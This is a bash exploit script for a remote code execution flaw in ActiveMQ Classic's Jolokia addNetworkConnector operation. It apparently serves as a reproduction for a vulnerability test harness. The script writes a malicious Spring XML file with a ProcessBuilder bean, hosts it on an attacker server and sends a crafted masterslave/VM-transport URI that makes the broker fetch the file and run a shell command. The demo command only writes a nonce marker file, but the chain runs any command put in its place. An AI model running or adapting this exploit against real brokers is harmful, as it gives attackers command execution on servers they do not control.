#!/usr/bin/env bash
# CVE-2026-42588 — ActiveMQ Classic Jolokia addNetworkConnector RCE.
#
# Drives the addNetworkConnector -> masterslave-discovery -> VM-transport
# brokerConfig -> remote-XBean-XML (ResourceXmlApplicationContext) bean chain
# to make the broker JVM run an attacker-chosen OS command. The command writes
# a fresh per-run nonce to a marker file ON THE BROKER FILESYSTEM. The exploit
# never writes the marker itself; the broker process does, via the vuln chain.
#
# Args:
#   $1  BROKER_URL  e.g. http://127.0.0.1:8161
#   $2  CREDS       e.g. admin:admin
#   $3  WWW_DIR     host path of the attacker-served dir (env/attacker-www)
#
# Prints the marker path and the nonce so the verifier can read the marker via
# its own privileged channel (docker exec) and compare.
set -u

BROKER_URL="$1"
CREDS="$2"
WWW_DIR="$3"

JOLOKIA="${BROKER_URL}/api/jolokia/"

# Fresh per-run identifiers
NONCE="cve-2026-42588-$(date +%s)-$$-$RANDOM"
MARKER="/tmp/${NONCE}.marker"
BROKER_NAME="evil-$(date +%s)-$$-$RANDOM"   # unique so we never attach to a prior run's created broker
PAYLOAD="payload-${NONCE}.xml"

# The OS command the broker JVM will execute: write the nonce into the marker.
# Run via sh -c so a single ProcessBuilder argv list does the shell redirect.
CMD="echo ${NONCE} > ${MARKER}"

# Spring beans XML the broker fetches as xbean:http://attacker:8888/<payload>.
# A ProcessBuilder bean with init-method="start" launches the process at
# bean-instantiation time -> OS command execution on the broker host.
cat > "${WWW_DIR}/${PAYLOAD}" <<XML
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
           http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>/bin/sh</value>
        <value>-c</value>
        <value>${CMD}</value>
      </list>
    </constructor-arg>
  </bean>
</beans>
XML
chmod a+r "${WWW_DIR}/${PAYLOAD}" 2>/dev/null || true

echo "[*] nonce   = ${NONCE}"
echo "[*] marker  = ${MARKER}"
echo "[*] payload = http://attacker:8888/${PAYLOAD}"
echo "[*] cmd     = ${CMD}"

# The working trigger shape against 6.1.4: inner VM URI supplied TWICE, naming a
# broker that does not exist yet with create=true so the VM transport CREATES a
# broker from brokerConfig=xbean:http://... (instantiating our beans).
VMURI="vm://${BROKER_NAME}?brokerConfig=xbean:http://attacker:8888/${PAYLOAD}&create=true"
ARG="masterslave:(${VMURI},${VMURI})"

echo "[*] POSTing Jolokia exec addNetworkConnector ..."
RESP=$(curl -sS -u "$CREDS" \
  -H 'Content-Type: application/json' \
  -H 'Origin: http://localhost:8161' \
  -d "{\"type\":\"exec\",\"mbean\":\"org.apache.activemq:brokerName=localhost,type=Broker\",\"operation\":\"addNetworkConnector\",\"arguments\":[\"${ARG}\"]}" \
  "${JOLOKIA}")
echo "[*] Jolokia response: ${RESP}"

echo "MARKER_PATH=${MARKER}"
echo "NONCE=${NONCE}"
